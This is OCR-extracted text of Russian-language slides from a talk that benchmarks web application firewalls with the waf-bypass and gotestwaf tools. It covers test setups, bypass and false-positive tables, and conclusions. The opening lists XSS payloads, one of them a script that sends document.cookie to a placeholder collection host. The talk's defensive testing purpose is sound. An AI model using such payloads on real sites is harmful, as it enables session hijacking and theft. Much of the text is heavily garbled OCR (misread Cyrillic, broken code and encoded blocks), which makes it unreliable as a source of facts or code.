“exml ID=""xss""><I><B><IMG SRC=""javas<l-- --»cript:alert('X55")""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS="

new wordlists. "sescript»”

e | <scriptalert(l)/script>

"s¢script>document. location="http://your.site.com/cgi-bin/cookie.cgi? +document. cookie</script>

"sauvwsDyanng

"exml ID=T><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert( XSS');"">]]>"
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Bbi6Op TECTOBbLIX AAHHbIX

2) OTkpbITOE (OpenSource) NO ana tectupoBaHua WAF

— https://github.com/nemesida-waf/waf-bypass Pt
— https://github.com/wallarm/gotestwaf wallarm

3) WebServer (MukpocepBuc)

http.server BaseHTTPRequestHandler, HTTPServer
run(server_class=HTTPServer, handler_class=S, port= )=

logging

sys argv
logging.basicConfig( = o =logging.INFO0)

server_address = ( port)

S(BaseHTTPRequestHandler):
httpd = server_class(server_address, handler_class)

logging.info( )
_set_response(self):

self.send_response( )

self.send_header(

self.end_headers()
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[pnMepbl paboThbl € janusec Npu TeCTUPOBaAHUN
OTKPbITbIMU peLleHNAMU

wallarm

O6LLEee KoM4yecTBO 3arnpocoB
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MMepPbl paboTbl C janusec nNpu TeCTUPOBaHUM

OTKPbITbIMAU PELLEHUAMMU

rect while in COOKIE: 501
while in COOKIE: 5@1
while in USER-AGENT: 581
while in REFERER: 501
while in HEADER: 581
3 in HEADER:
received while payload in HEADER:
FALSE NEGATIVE TEST
PAYLOAD TYPE PASSED BYPASSED FAILED
API 5 (16.67%) 25 (83.33%) =]
(=] 1 (8.74%) 45 (33.33%) 89 (65.93%)
GraphoL e 18 (1ee.8%) ]
LDAP e 84 (100.8%) =]
LFI 4 (2.65%) 147 (97.35%) e
MFD 1 (11.11%) 8 (88.89%) @
Misc 3 (27.27%) 8 (72.73%) o
NoSQLi ) 186 (108.0%) )
OR 3 (5.56%) 51 (94.44%) =]
RCE 1 (e.33%) 299 (99.67%) @
RFI e 60 (180.0%) L=
sQLi 6 (2.17%) 278 (97.47%) 1 (@.36%)
ssI [} 75 (108.0%) )
SSRF 1 (1.52%) 65 (98.48%) =3
SSTI ] 211 (1e8.8%) a
uwa 2 (7.41%) 25 (92.59%) L=
XSS 412 (8.87%) 4230 (91.65%) 4 (©.89%)
[ FALSE POSITIVE TEST
I PAYLOAD TYPE PASSED FALSED FAILED l
[ FP 19 (160.08%) ] -3 J
| TOTAL SUMMARY
| TOTAL PAYLOADS PASSED (OK) FALSED (FP) BYPASSED (FN) FAILED 1
| 6271 458 (7.3%) [} 5719 (91.2%) 94 (1.5%) J
user@10:-swaf b 2
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TectuposaHue WAF. PesyneraThl.
Nemesida

Total payloads Passed (OK) / brok| Bypassed (FN) / O6xon Failed / Omm6oka
Janusec 6271 458 (7.3%) 5719 (91.2%) 94 (1.5%)
OpenAppSec 6271 4718 (75.24%) 1547 (24.67%) 6 (0.1%)
NAXSI 6271 3253 (51.87%) 2941 (41.9%) 69 (1.1%)
NAXSI lib 6271 3691 (58.7%) 2503 (39.91%) 69 (1.1%)
ModSecCRS 6271 4419 (70.47%) 1831 (29.2%) 12 (0.19%)
Coraza 6271 4410 (70.32%) 1842 (29.37%) 10 (0.16%)
WebKnight 6271 6233 (99.39%) 0 19 (0.3%)
Shadow Daemon 6271 317 (5.07 %) 5844 (93.2%) 110 (1.75%)

Wallarm

API Security: true
positive blocked,
payloads #1, 6ok

Application Security: true
positive blocked,
payloads #2, 6ok

Application Security: true
negative passed, mpomuio

Application Security:
Grade, cnenfee

Janusec 8.30% 11.30% 100.00% 55.60%
OpenAppSec 73.68% 68.72% 90.28% 79.50%
NAXSI 88.90% 67.80% 65.30% 66.60%
NAXSI lib 100.00% 100.00% 0.00% 50.00%
ModSecCRS 60.50% 54.70% 93.50% 74.10%
Coraza 57.90% 54.40% 86.10% 70.20%)|
WebKnight 100.00% 98.70% 0.00% 49.40%
Shadow Daemon 98.65% 87.70% 74.90% 64.70%,
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(DyHKLI,I/IFI NPOBEPKUN OaHHbIX B COCTaBE MUKPOCEPBUCA

class FLEQ): OpenAPI Validator

iz
validate_data = [
data =
passport =

The IBM OpenAPI Valid - n ocuments for compliance with the
OpenAPl s
address =
inn =
(len(data) en(passport) (address) (inn)) !=
(

(len(data) < 6) (len(passport) == (address) < 50)
( )

data validate_data:
(' {data
data_match =

passport_match = re.match( (i 1{12}) passport)
address_match = re.match( Rl 1 \sx(\d+(?:[ address)
inn_match = re.match( (Cr 1{121) 1 (L 1{18})) inn)
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[ns oueHkn cpabartbiBaHun FP

- CreHepupoBaHO MHOXeCTBO baseb64 encode 3HavyeHUN

- CreHepnpoBaHO MHOXECTBO urlenc 3Ha4YeHui

- CreHep1poBaHO MHOXECTBO CJTOB U3 CUMBOJIOB

Kupunnuupsl n 3Hakos

KBe%e3%3F%F6%66%65%54%43%31%1b%b1%1a%a2%21%1e%ec%c9%99%92%2a%aF%FF%FB%BC%C4%4e%e6%6d%d2%24%4£
%BAXASKDCHCONBCHcdXdONaKa2X2 FifeXe 88 dNd SHE8XE5K0KEAXAANALHOANABOBHET AT SX54 % AaKaakabibi%3:
HBBRB1X15%5eXe BXBOXOSX50MO3XI6NE KT 8XE 2% 2bXbbXbaka7 X7 dXdBXB 1 X1 727 222 2%23%33%3d¥%da%0 X 7HT5%5¢
#175T1%1ak%ada9%92%26%60%0akadid3%3 chc@X03%39%00%0akaakald3 %1131 8%8 7%/ 0%09%96%6656bXbOHE0%E )
#%e5ik54kAdid1%1d¥d 3%37XT 7% 7 9% eke BB did 9% 94%AbXbARAFETbREbAKRADKD e 252 cHcBRB5KE50%a 73T 5H58%8b%bE
HF15612%2d%d 2% 2 aka2%28XBdXddkd FEFA%Abikbele 2% 2dXd8%8bkb1 %1 5%58%8 1% 14%4 7% 7 3%38%8 F e fbib3%33%33%3%
555588525 d%dAXA2%2 cHc 5%5bkbbEb i 151 cXcA%A2%21%] a¥ka3%3bXbbb A bXbOH0 2% 20%09%A6X6 5K5 878 2% 24
%dakad¥3dideXe9N91%]1aXa2N20%05K52%24%A cHcbXb8XBakalil 3%35X5bXbfifeXe2¥29%98%BakXaT¥/ eXedideNet
%6dkdaXald®A0%01X10%00%0aXa8XB L 1ANACKc2%23%3 5K CHCOXATHT 6X00H0 X T aXab¥bd¥deXe X511 2%25%59%9¢
Hedisdckcditd cRc2%27%79%99%Abkb1 X1 0%04 %4939 2% 27X T % BHk05%52%2 2% 2ete fhfelebib i 11 8%Bakacic 5H5€
R TieT 585555 TR eHe3%3eieXObibbib3%3 1% 1 bHb6%63%38%84%41 %1 died 555 3% 3 R 3X33%3dkd 171 353 5%5 7% 70%0%
*FA%A2%225620%BbXb9%96X66X6bkbakaBiE8%84%A 75T 6X6bXbeike0k00XBARAbXbOXOEXE CRC1XE]1 IXIANATHT akabib]
%763p0%1X%17%7 X cie3X3dHd 7T dXdbibe%keeXebkbdXd1%16%bakadis chcdid 11 FF 737 5%50%adXd 252424878
cakaeXeekeb¥bcic2%21%]a%aB%BAKA5%5 1K1 626 5%55%52%26%6b%b3%3 eXe 5% 59%92%2 X cbibaka4%AdHd 2% 29%9<
%aekedN99%95%51%] cHcakali85%5dNd2%2eXe N3 dNdbXbeXeakaakabis3K30%03%3FHF3%35K55%5 7% 71%19%99%9
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COMMAHWYETE ; TPHWKH / ONLIE } YTPACHTECE
YTOMYeTeck,/KOWEEY - Y TONYEHHDE M240H

rManored MawyweMm paHaT/nexnuuuesch
OTHXZTcSMGVhOWELN Byzarvp-npoMend/HaMeTHTLCA MOHOH
MmIRMTRIMDImZTc1y" -y 28rHp-np A

Nszsz4MzEyYZ]j0nepTue,hymyenue.nunhnusuﬁ,nﬁHHum
YTg3ZjEzZDkxMDdmNPACTY , 8y CMa . NOYYAMBUNXCA/ aHaeR
MTgzYmEXYWFkZTQx0DUzZ§ FhODQ1YmRiMDVkZGUyNmQ2N I IMTE ==
ZWYzNzUyYTglZmFhMeY Y j Lk ZDk1YmNhNmMy Y zd 1 ZmIwhNmUZNDV1Muy==
MzYzM2E10GVmNZ2UIM2E2Y2F10TIhN20yZ jTw0DZ1¥mIjN208Z0h ] Z0==
0GUZZFYAYz1hNWRKNmNFNTkzNWEWYmFNFd1Y2VmMT EyMz crMzNhNuw==
NDQzNTBiYJ1jMzVmYTdhY]j1jOWEADGVEY 2MOTY 3 ZmVkMmERY 2Rk 0A==
NDc30Tg2ZGNIMGZ1Z2GULZGNKY 2UyZmFmZ GVh ZWUwM2YBNmV - 0DVEMA==
NGE3YmEyZDFkZDQ2NThkOD1ImZjEBYTUANdhOGE4AYmEIMTQ20GUSMY==
MThhNzM1ZDIhMDQ3NmZmMGQ5Mz I20GESNWYx0OGEBNGFmMz(zNT JhYg==
ZWZmMDEINGZRYUNhZjg3Y JZFZDAYNGFRY 2MINTZ iMmEwMmELNjEkMw==
N2 Imhj gdM7 RmMDMwNGY zNDk 3MDgeNz ZmY 2Y 1N ImNzVk ZmU4AY 2RhY (==
N2VIiZDYyNTkdMmIxOTY5ZjA2ZGMZMHIBNmYEMIRFODNLIOTBKNDZRZ(==
LTgx¥zdhMjkeYzMyNThmOWYyMubwYZALNTI1Z jk10Dc200hiNDQROA==
ODQuNDMSMDE3NTQxMzk5NTN1Z§I1zMDg20D11YTM1M{BmNzQ1OTVMQ==
OT1hNZ2I2MHRIMZNhY jeyMjUSZDAZNGY 1ZWVhNTRBMFESZ jAyYzdhNw==

YzIyNVmOWRRYjc4ZJESNDIxN2ViIYZz1jM2Y10GVIMZNINZY SMDFhMA==
TW7 17 THR 7 TowZ TR NTEmY MINNRLEMIFw7 A MIVToANT A7 5 R4 MEH I Mha==




CTteHa / oObeKT nccrieaoBaHus

WAE1 —® mgmx | p onk » W vupoecepsnc
WAF 1 > nginx P DK — “ﬂlsitte MHEKDPOCEPBHC
WAEL — ” mgmx > ok | P | Muxpoecepmuc
SN White
WAF 1 nginx ——p oIK [ P st MuKpOocepREC
E— White
WAF 1 nginx P ok [ P g MuKPOCePBHC
‘White
WAF 1 nginx P DIK > list MUKPOCePBHC
White
waF1 &~ > . el DIK [P st MuxpocepBuc
White
WAF 1 > nginx > DIK [P i MuKPOCEPBHC ‘
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CteHp # 2. Tonbko WAF

WAF 1 } nginx I MuKpocepBHL

WAF1LT | = 5 nginx | 2 5 MHKPOCCPBHC

WAF 1 ’

WAF 1 > nginx —p| MuKpPOcepDBHC

WAE 1 I nginx ——————#> MHKpPOCeDBHC

WAF 1 ’

WAF 1 > nginx » Microservice

WAF 1 > nginx .Migmamim
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CteHa #3 PJIK + White list

\ o .
. W!:Lite
list

White
list Muxpecsepras

‘White
list MuxgpocepBHuC

‘White
list MuxgpocepBHuC

White
list Muxpocepnus

‘White
list Muaspossprus

White
list Muxpocepruc

White
list Muxpoceprus
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CteHp #4 WAF + ®JIK
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CteHp #5 WAF + White list

MWAF 1 » nginx 4\

wr | e |

1
¢ T

—
T ——

7

famk |+ e | smsposcomns
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Pesynbratbl # 1

CrayJaaligreie CraydJaliigbie Wordlist False-Positive
OJaHHBIES IJaHHBIS
Baseo64 URL Encoding Russians+symbols
blocked blocked blocked
FLEK 5000 5138
WL 5000 7724
ModSecCRS 0 3373
ModSecCRS+F1L.C 5000 5828
Naxsi 0] 3684
NNaxsi_lib O 36906
Naxsi lib FL.C 5000 6198
Naxsi FL.C 5000 6187
Coraza O 3381
Coraza FL.C 5000 5443
WebKnight (0] 5227
WebKnight F1L.C 5000 5647
OpenAppsec O 4621
OpenAppsec + FLC 5000 1809
Janusec 0] 7413
Janusec + FLL.C 5000 2433
Bcecero zanpocos S5000 TT724
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PeasynbraTbl # 2

Total evil payloads
#1 Passed Block
FLK 7726 931 6795
WL 7726 [e| 7726
ModSecCRS 7726 4339 3387
ModSecCRSH+FLC T726 2930 4796
Naxsi 7726 4039 3687
Naxsi lib 7726 4025 3701
Naxsi lib FL.C 7726 2963 4763
Naxsi FLL.C 7726 2974 4752
Coraza 7726 4352 3374
Coraza F1L.C 7726 3090 4636
WebKnight 7726 2227 5499
WebKnight FL.C 7726 1515 6211
OpenAppsec T726 4631 3095
OpenAppsec + FLLC 7726 2865 4861
Janusec T726 7415 311
Janusec + FLLC 7726 4215 3511
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3akodyeHune

- Mpwn BbIBOpE peleHn n npasun PJIK cneayet yuntbiBaTb 6U3HEC-NOTPEOHOCTUN, KAK OCHOBHOWN KPUTEPUNA;

- JloxxHO-nonoxuTenbHble cpabaTbiBaHUSA ABHO BAMAOT Ha NpubbINb opraHn3aunmn n cTabunbHOCTb;

- Cnegyet npoBOoAUTb aHaNUTUKy COBMECTHO C KOMaHAaMun pa3paboTKn 1 3aKkazdnkamu;

- TpebyeTca obs3aTenbHOe TECTUPOBAHME NOCHE KaXK4oro M3MeHEHUs NONUTUK,;

- Heobxogmmo npeaycmoTpeTb pecypc U BakaHCKMK ans paboTbl C KOMaH4amu,

npsmMo ydacteosaTb B SDL npoayKToB;

- YuntbiBaTh MHPOPMALMOHHYIO apXUTEKTYPY NPU BCTpanBaHUM PELLEHNN;

- OcywecTBnATb NOCTOAHHbBI MOHUTOPUHT cpabaTbiBaHnn WAF/OJK;

- WL B cocTtaBe ®JIK - He noaxoauT ans User Input;

- Y 3noymblwneHHnka HeT metogoB obontn OJIK ¢ WL 6e3 3HaHuM o cucteme;

- ®JIK + WAF - obecneunBaeT Hanbornee nosHoe nokpbITUE, HO HECET PUCKMU;

- OtcytctBue WAF (HO, HexxenaTternbHO) BO3MOXHO Npu cobniogeHni npasun 6esonacHon pa3paboTkm ¢ MCnonib3oBaHMEM
PJIK;

- Mpwn cobnogeHnn npnHumnnos 6esonacHon paspabotkm (SSDL) cTaHOBUTCS BO3MOXHbLIM COKpaLlaTb konmyectso C3U;

- CobntogeHue npuHumMna «3onotasa cepeamHa» obecnevmBaeTt NpoayKTUBHYH paboTy coTpyaHukoB VB n paspaboTymkos.
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[anbHenwmne HanpaBneHnsa paboT/uccriegoBaHnUn

- CozgaHue onTuManbHOro/rubkoro peweHus ana popmaTHO-r10rM4ecKoro KoHTponsa/cpunbTpa, Kak
oubnunoreka/SDK (OpenSource);

- Co3gaHue aBTOMaTU4YeCKOro napcepa ans npasun Ha ocHoBaHun Swagger/XSD/OpenAPI pa3Hbix
cxem/cneundukaummn;

- CozpgaHue yHuBepcasbHbIX TeCTOBbIX AaHHbIX A NpoBeAeHUA aHanun3a 3 heKTMBHOCTU paboTbl
WAF 1 TecTMpoBaHUA peLleHUn B COBOKYNMHOCTU C COBPEMEHHbIMU OU3HEeC-NOoTpebHOCTAMMU, ¢ y4éToM RL
CermMeHTa;

- AHanun3 coBpemMeHHbIX Al peweHun ansa WAF;

- My6nukauumn nccnenoBaHnim;
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Cnacmbo 3a BHMMaHue




KoHTakTHas nHdopMmauus
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